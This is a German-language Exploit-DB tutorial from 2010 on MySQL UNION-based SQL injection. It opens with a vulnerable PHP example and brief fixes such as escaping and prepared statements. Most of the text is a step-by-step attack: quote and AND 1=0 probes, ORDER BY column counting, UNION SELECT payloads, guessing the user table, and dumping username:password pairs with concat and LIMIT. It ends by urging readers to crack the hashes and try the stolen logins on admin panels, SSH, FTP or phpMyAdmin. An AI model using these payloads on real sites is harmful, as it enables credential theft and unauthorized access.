[German] SQL Injection

EDB-ID:

13695

CVE:

N/A


Author:

fred777

Type:

papers


Platform:

Multiple

Date:

2010-05-04


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
*******************************************************
#                WEBSECURITY DOCUMENTATION                                         #
#                --------------------------------------                                         #
#                SQL Injection - working with mysql                                       #
#                 --------------------------------------                                        #
#                                                                                                         #
#                                                                                                         #
#  [+] written by fred777 [fred777.de]                                                    #
#                                                                                                         #
******************************************************

0x00 Intro

--[0x01]-- Knowledge
   [1] Description
   [2] Fixxen

--[0x02]-- Exploiting
   [1] Vulnerable Check
   [2] AND
   [3] Database Struktur
   [4] ORDER BY
   [5] UNION SELECT
   [6] guessing information
   [7] CONCAT()
   [8] LIMIT
   [9] WHERE

--[0x03]-- Finito

******************************************************
######################################################


--[ 0x00 ]-- Intro:

Willkommen zu meinem ersten Paper über SQL-Injections.
SQL-Injections sind Lücken, welche bei unsicheren Datenbankabfragen entstehen können.
Der Bentuzer kann bei einem solchen Bug, selber den entsprechenden SQL
Code in die schon bestehende Abfrage injizieren. So könnte er sich z.B. die
enthaltenen User ausgeben lassen, welche bei der Authentifizierung benötigt werden.
Hier werde ich auf mySQL und den oft benutzten SELECT Query eingehen.
Klar gibt es noch viele andere Abfragen auf die ich später in anderen Papers
eingehen werde.
Benötigt werden PHP und SQL Kentnisse, wobei ich allerdings versuchen werde auf
jeden Befehl ein wenig einzugehen.

#######################################################

 --[ 0x01 ]-- Knowledge and countermeasures:

-------------------------------------------------------
 [1] Description
-------------------------------------------------------

Ein normaler SELECT Query ist so aufgebaut:
SELECT [bla] FROM [blub] (WHERE [Bedingung])

bla ist hier als die Column und blub als die Table dargestellt.
Um nun die Abfrage zu beeinflussen brauchen wir Zugriff darauf, dies geschieht oftmals mittels
der nicht unbedingt notwendigen Bedingung mit WHERE.
Wenn z.B. alle Informationen zu einem Produkt ausgegeben werden sollen, muss
dieses Produkt auch verifiziert werden, oftmals einfach mit einer ID.
Also formuliert man eine Abfrage:

SELECT id,product FROM products WHERE id = 1

Nun wird diese ID meistens über den GET-Parameter übertragen, von außen sieht das etwa so aus.

www.seite.de/shop.php?id=1

Hier ist nun die Stelle wo der Benutzer Zugriff auf die Abfrage bekommt.
Überprüft PHP die ID jetzt nicht nach Fremdcode, lässt sich die Abfrage einfach manipulieren.

------------------------------------------------------------------------
 In PHP geschrieben sieht eine Abfrage etwa so aus:

---------

<?php
 
$host="localhost";                                                    // Connectioninfos werden deklariert
$user="fred";
$pass="777";
$db="test";
 
mysql_connect($host,$user,$pass) or die("Connection failed");         // Connecte
mysql_select_db($db) or die ("Database-Error");                       // Wähle Datenbank aus

$query = "SELECT id,name FROM `product` WHERE `id` = ".$_GET['id'].""; // Selektiere
$res = mysql_query($query);                                          // Hole das Resultat
$output = mysql_fetch_array($res);                                   // mysql_fetch_array
 
print "Productname: $output[1]";                                      // Gebe es aus

 
?>
--------

Führen wir es aus:

[site]/sql.php?id=1
...

So, nehmen wir mal an, es wäre ein normaler Shop mit Administrationsmöglichkeiten.
Insofern wäre es fatal wenn wir eigenen Code injizieren könnten. Dies ist auch hier der Fall, da
Unsere Eingabe direkt in die Variable geladen und nicht weiterbearbeitet wird. Sprich wir könnten
als id 5 angeben und weiteren mySQL Code direkt dahinter schreiben, die Abfrage bliebe valid.

SELECT name FROM product WHERE id = 5 ANDERER CODE

-----------------------------------------------------------------------
 [2] Fixxen
-----------------------------------------------------------------------

Um ein solches Script abzusichern gibt es viele Möglichkeiten, einige werde ich
euch zeigen.

Zu Anfangs die schönen PHP Funktionen:

escape_string()
mysql_real_escape_string()

Sie maskieren im String besondere Zeiche mit einem Backslash wie z.B. das Hochkomma

Oft auch benutzt die Funktion:

addslashes()

Welche ebenfalls den Zeichen ein \ voranstellt

Auch ein Typecast kann helfen, ist die zu schützende Variabel z.B. nur ein Integer wie bei
unserer ID, benutzt man gerne:

intval()
(int)

um gegen SQL Injections vorzugehen.


Ein weiterer Punkt sind Prepared Statements:

----------------------------------------------------

SELECT product_id FROM product WHERE product_id = '$blah'

Prepared Statement
PreparedStatement ps = Connection.prepareStatement(
    "SELECT product_id, product_name FROM product WHERE (product_id=?)"
);                     // Statement wird erzeugt
ps.setString(1, username); 
ResultSet rs = ps.executeQuery();

----------------------------------------------------

Falls die Programmierer auf Nummer sicher gehen wollen, vertrauen sie ihre
Scripte auch ganzen Systemen an, auch intrusion protection systems genannt.
Sie enthalten eigene Funktionen zur Datenbankabfrage und blockieren zusätzlich
enthaltenen Schadcode anhand von bekannten Zeichen.

Wir werden unser Script der Einfachheit halber mit einer PHP Funktion sichern.

---------------------------------------------------


<?php
 
$host="localhost";            // Connectioninfos werden deklariert
$user="fred";
$pass="777";
$db="test";
 
mysql_connect($host,$user,$pass) or die("Connection failed");    // Connecte
mysql_select_db($db) or die ("Database-Error");                 // Wähle Datenbank aus

$query = "SELECT `name FROM `product` WHERE `id` ='".mysql_real_escape_string($_GET['id'])."'"; 
$res = mysql_query($query);                                     // Hole das Resultat
$output = mysql_fetch_array($res);
 
print "Productname: $output[0]";                               // Gebe es aus

 
?>
---------------------------------------------------

[site]/sql.php?id=1
...

Es lässt sich nicht mehr manipulieren..

Wir haben erstens die entsprechende Variable in Hochkommas eingefasst und durch
mysql_real_escape_string geschickt. Normalerweise würde man mittels einem Hochkomma
Schadcode einführen können:

SELECT bla FROM blub WHERE id = '5(' ANDERER CODE) /*' 
Das Hochkomma vom eigentlichen Query würde dann mittels Kommentarzeichen entfernt werden.

Hier allerdings escaped unsere PHP Funktion jegliche Hochkommas aus unserem String

' wird zu \' => natürlich falsch

Insofern ist die Abfrage sicher.

#######################################################

--[ 0x02 ]-- Searching and exploiting:

-----------------------------------------------------------
 [1] Vulnerable check
-----------------------------------------------------------

Wie findet man jetzt solche Lücken und wie nutzt man sie aus....
Wenn wir eine Seite haben, schauen wir erstmal, wo eine Datenbankabfrage zu Stande
kommt, meist ist das wie schon gesagt bei GET-Parametern der Fall, wie bei ID's.

Man kann natürlich wenn man Lücke sich auch Dorks benutzen.
Wir nehmen einfach unser Script um das zu testen und natürlich das ungesicherte :>

[site]/sql.php?id=1

"Shampoo" wird ausgegeben, klar, der erste Wert in der Tabelle 'Product' und der Column 'name'

Die Seite sollte normal dargestellt werden. Jetzt prüfen wie die Seite auf  ihre Anfälligkeit.
Da ich hier noch nicht Blind anwende, prüfen wir die Seite mittels Hochkommata, '
Dieses wird hinter die ID gesetzt.

[site]/sql.php?id=1'

Ist die Seite nicht vuln, erscheint kein Fehler, hat sie allerdings eine Lücke, erscheint ein
Error wie dieser z.B.

You have an error in your SQL syntax; check the manual that corresponds to your MySQL 
server version for the right etc…

Klar auch, da mySQL nicht weiß was es mit dem Hochkomma anfangen soll:

SELECT bla FROM blub WHERE id = 5'

Nicht immer muss ein Fehler entstehen wenn eine Lücke besteht, es eigenet sich einfach
prima zum erklären. Oftmals wird auf Veränderungen zwischen dem Request mit ' und ohne
' geachtet. dann testet man mit and 1=1 (true) oder and 1=0  (false).

---------------------------------------------------------------
 [2] AND
---------------------------------------------------------------

AND ist ein oft genutzter Befehl um 2 z.B. Bedingungen miteinander zu verknüpfen.
Wir sagen also, Query1 AND 1=1, was soviel heißt wie Abfrage UND JA

Das ganze packen wir hinter die ID, also:
[site]/sql.php?id=1'+and+1=1-- f   true und keine Veränderung
[site]/sql.php?id=1'+and+1=0-- f   false und wenn die Seite verbuggt ist sollte ein Unterschied erscheinen

Hier wird einfach hinter den Query "und 1 ist gleich 1" angehängt, sollte der Vergleich false zurückgeben
und man den Unterschied merken, sollte der Query manipulierbar sein.
Klar, ihm wird gesagt, Frage bla ab und NEIN, was folglich abbricht.

SELECT bla FROM blub AND 1=0

Nun, wieso reagiert der Query auf and 1=1 und and 1=0, schauen wir ihn uns einfach mal an:

Normal wäre er: SELECT name FROM product WHERE id='1' mit and wird er aber zu:

SELECT name FROM product WHERE id='1' and 1=1-- f' Alles nach dem f wird wegkommentiert :>
Folglich wird einfach gesagt, selektiere und 1=1 oder 1=0 bei 1=0 wird nichts selektiert

----------------------------------------------------------------
 [3] Database Struktur
----------------------------------------------------------------

Unser Ziel ist es später, das passwort und den username (columns) vom user Admin aus
der table users (kann auch anders heißen) ausgeben zu lassen.
Damit ihr es besser versteht zeige ich euch das Prinzip genauer.
In unserem Shop existiert für die Bentuzer ebenfalls eine Tabelle namens user:

Tabelle user [vereinfacht]:

|     id	| username	| password|
|--------------------------------------------		
|     1 	|  hans 	              |  wurst	|	
|     2 	|  admin	              |  1337	|	

----------------------------------------------

Um die Befehle zu trennen nehme ich +, es geht auch /**/ oder ein Leerzeichen.
Am Ende mache ich +--+, es geht auch #, /*, -- oder einfach nichts, die Kommentare filtern lästige
and Abfragen etc... weg.

Falls bei einer Injection von euch, die Ausgabe mal nicht klappen sollte, versucht einfach mal
andere Zeichen aus, mir hat es oft geholfen. Damit das Leerzeichen nicht einfach
weginterpretiert wird benutzt man noch einen Buchstaben so etwa:
injection-- f oder --+

-----------------------------------------------------------------
 [4] ORDER BY
-----------------------------------------------------------------

Um unsere Abfrage an die Tabelle user an die andere anzuhängen müssen wir erstmal wissen
wieviele Spalten im ersten Query selektiert wurden. Bsp:

SELECT id,name,text FROM bla WHERE id=1

Hier müssten wir im 2. Query ebenfalls 3 Elemente selektieren.

Da wir den Query aber nicht sehen können, müssen wir uns diese Zahl mit einem Trick
beschaffen, es gibt mehrere Möglichkeiten, unteranderem aber ORDER BY

ORDER BY wird normalerweise zum Sortieren benutzt. Dabei werden einzelne Spalten angegeben.

SELECT id,name FROM bla ORDER BY id

Natürlich kann man auch gleich mehrere angeben:

SELECT id,name FROM bla ORDER BY id,name

Steigt die Zahl allerdings über die Anzahl der existierenden Spalten heraus, stimmt die Abfrage
nicht mehr, und genau das brauchen wir, die Anzahl der Spalten. Da wir aber nicht die ganzen 
Spaltennamen haben, benutzen wir einfach Zahlen.

[site]/sql.php?id=1'+order+by+1+--+  -> true (Seite wird ohne Fehler gezeigt)
Es existiert also 1 Spalte

Hier haben wir die id im Hochkomme, d.h. wir brauchen es auch bei unserem 2. Query.
Bei anderen Injections vielleicht ohne Hochkomma lasst ihr es einfach weg, das zeigt sich schnell..

Jetzt grenzen wir die Columns auf die höchste Zahl, welche true ergibt ein. so

[site]/sql.php?id=1'+order+by+100+--+ -> false (Seite wird mit Fehlern angezeigt)
Das heißt es gibt weniger als 100 columns.

[site]/sql.php?id=1'+order+by+2+--+ -> false (es gibt weniger)

Es ist also nur einer (nämlich "name", kennen wir ja schon)

-----------------------------------------------------------------
 [5] UNION SELECT
-----------------------------------------------------------------

So wenn wir das haben, können wir unsere Abfrage an die eigentliche anhängen
Da das auch ein SELECT Query ist, wird er mit UNION angehängt. Letzteres verbindet
2 SELECT Abfragen miteinander.

Den definierten Query und unseren.
Wären jetzt beide Resultate valid, würden sich die Ergebnisse überschneiden, deshalb wird das Resultat
des ersten Querys oft ungültig gemacht um unseren ausgeben zu können
Wenn z.B. auf eine ID zugegriffen wird, setzt man einfach ein - davor oder eine sehr hohe Zahl, da dieses
Produkt niemals existieren wird und somit das Resultat gleich null ist.

[site]/sql.php?id=-1'+union+select+1+--+
Bei jeder zusätzlichen oder fehlenden Zahl wird ein Fehler angezeigt, deshalb haben wir alles richig
gemacht.
Es erscheint eine 1, da das Product -1 natürlich nicht existiert:

SELECT name FROM product WHERE id='-1' UNION SELECT 1+--+' 

Jetzt kann kein name ausgegeben werden, da es kein Produkt mit der ID -1 gibt, somit wird das
von uns selektierte ausgegeben, und das ist eine 1.

Als nächsten Schritt müssen wir die Ausgabe herausbekommen, da sie unser Handeln beeinflussen
kann. Das geht mit version() oder @@version, da uns die Version ja ausgegeben werden soll
müssen wir es anstatt der 1 schreiben, etwa so:

[site]/sql.php?id=-1'+union+select+version()+--+
oder
[site]/sql.php?id=-1'+union+select+@@version+--+

Falls es immer noch nicht funktioniert lassen wir unsere Ausgabe über unhex laufen, das ändert sich dann
auch im Verlauf der Injection nicht mehr. etwas so:
Hier wird auf ein einheitliches Charset aufgebaut, man könnte das auch mit convert() machen..

[site]/sql.php?id=-1'union+select+unhex(hex(version()))+--+
Im Folgenden muss das ganze Zeug in die Klammer rein:

[site]/sql.php?id=-1'+union+select+unhex(hex(hiermuss es rein))+--+

So jetzt wird entweder Version 4, version 3 oder version 5 ausgegeben. bei uns ist es Version 4, da ich
die Version 5 in dem nächsten Tutorial beschreibe.

------------------------------------------------------------------------
 [6] guessing information
------------------------------------------------------------------------

Da es Version 4 ist müssen wir die tablenamen und columnnamen raten, da wir die Datenbank ja nicht sehen können.
Als erstes brauche wir den tablenamen, da wir die User bzw. den Admin haben möchten, heist die table
meistens users, user, admins oder admin, wie wir testen was richtig ist, zeige ich euch jetzt, zusammen mit dem
Befehl "from" wird getestet ob ein Fehler kommt. Die Version wird wieder gegen die 4 ausgetauscht.


[site]/sql.php?id=-1'+union+select+1+from+users+--+ -> false
Es wird ein Fehler angezeigt, also kann es users schonmal nicht sein. versuchen wir es mit user


[site]/sql.php?id=-1'+union+select+1+from+user+--+ -> true
Es passiert nichts, kein Fehler, also existiert diese table, wir haben Glück gehabt.

Oft gibt es aber auch sogenannte Prefixe, d.h. wenn wir bspw. eine Injection bei npd haben, könnte der
tablename auch npd_users sein etc. npd_xxx ist hier der Prefix
Helfen kann hier der Befehl user() oder database() er wird einfach in die Ausgabe geschoben, etwa so:


[site]/sql.php?id=-1'+union+select+user()+--+
und mit Database()
[site]/sql.php?id=-1'+union+select+database()+--+

Aber wir haben unsere table ja schon, es geht weiter mit den columns, da wir ja das Passwort und den Usernamen
brauchen, wird die column ähnlich heißen. testen können wir es ebenfalls mit der Ausgabe:

[site]/sql.php?id=-1'+union+select+username+from+user+--+ -> false
Es wird ein Fehler gezeigt, also kann das schonmal nicht stimmen, versuchen wir es mit name:

[site]/sql.php?id=-1'+union+select+name+from+user+--+ -> true
Bei unserer Ausgabe erscheint ein username, also habe wir schonmal den columnname für den username, fehlt
noch das passwort. Das machen wir genauso:

[site]/sql.php?id=-1'+union+select+passwort+from+user+--+ -> false
Es kommt wieder ein Fehler, also versuchen wir es englisch, also password

[site]/sql.php?id=-1'+union+select+password+from+user+--+ -> true

Der Query sieht nun so aus:
SELECT name FROM product WHERE id='-1' UNION SELECT password FROM user+--+
Es wird ein Hash oder gleich das Passwort angezeigt, jetzt können wir es mit concat() zusammenfassen, etwa so:

-------------------------------------------------------------------
 [7] CONCAT()
-------------------------------------------------------------------

[site]/sql.php?id=-1'+union+select+concat(name,password)+from+user+--+

getrennt wird immer mit einem Komma, doch klebt jetzt das Zeug sehr aneinander, deshalb machen wir einfach einen
Doppelpunkt dazwischen, alledings müssen wir diesen erst in Hex umrechnen, also : = 0x3a

[site]/sql.php?id=-1'+union+select+concat(name,0x3a,password)+from+user+--+

So wollen wir das haben. Hier haben wir jetzt 2 columns ausgegeben, wenn es allerdings mehr werden, kann
immer das 0x3a zu schreiben schnell lästig werden, deshalb gibt es concat_ws(), was den ersten Wert automatisch
setzt, etwa so:
[site]/sql.php?id=-1'+union+select+concat_ws(0x3a,name,password,3.column,4.column+from+user+--+
Man sieht es wird alles automatisch dargestellt.

Nun bemerken wir allerdings, das nur ein x-beliebiger User ausgegeben wird, aber gibt es vielleicht noch mehr oder wie kann
ich mir einen anderen ausgeben lassen?

---------------------------------------------------------------------
 [8] LIMIT
---------------------------------------------------------------------
LIMIT begrenzt die Ausgabe auf eine gewisse Anzahl.
LIMIT start,ende
Es wird immer zuletzt angehängt, somit gibt LIMIT 0,1 den ersten Wert aus, da es bei 0 anfängt und dann genau
einen Wert ausgibt.

[site]/sql.php?id=-1'+union+select+concat(name,0x3a,password)+from+user+limit+0,1+--+

Also sollte ab 1,1 ein anderer User in der Ausgabe erscheinen, dann kann man das weiter fortsetzen:

[site]/sql.php?id=-1'+union+select+concat(name,0x3a,password)+from+user+limit+1,1+--+
[site]/sql.php?id=-1'+union+select+concat(name,0x3a,password)+from+user+limit+2,1+--+

etc.....

----------------------------------------------------------------------
 [9] WHERE
----------------------------------------------------------------------
Es gibt noch eine wichtige Funktion, sie stellt eine Bedingung, nennt sich WHERE und wird ebenfalls hinter from angewendet.
Wenn wir z.B. die Id vom Admin oder den Usernamen wissen (bei Foren meistens) können wir eine Bedingung  stellen:

[site]/sql.php?id=-1'+union+select+concat(name,0x3a,password)+from+user+where+id=1+--+
Jetzt wird natürlich nur der admin ausgegeben mit der ID 1....
Auch hier kann nur die ID oder sonstiges ausgegeben werden, wenn es die entsprechenden columns gibt.
Sollte es Id gar nicht geben, wird das auch mit where nichts werden.
Was hier 1 Column ist, kann auf anderen Seiten auch mehrere sein, diese werden einfach mit Kommas hintereinander gesetzt:
UNION SELECT 1,2,3,4,5,6,7+--+

#########################################################################

--[ 0x03 ]-- Finito

So das hätten wir geschafft, jetzt müssen wir nur noch en admincp finden, um die Daten auszuprobieren,
Vergesst nicht den evtl. Hash zu entschlüsseln (meistens MD5 oder MySQL)

Wenn es kein ACP gibt, versucht es bei SSH, FTP oder PHPmyAdmin, es stehen euch die Wege offen.

Und schaut wenn ihr es verstanden habt auch meine anderen und weiterführenden Tutorials an:

fred777.5x.to
########################################################################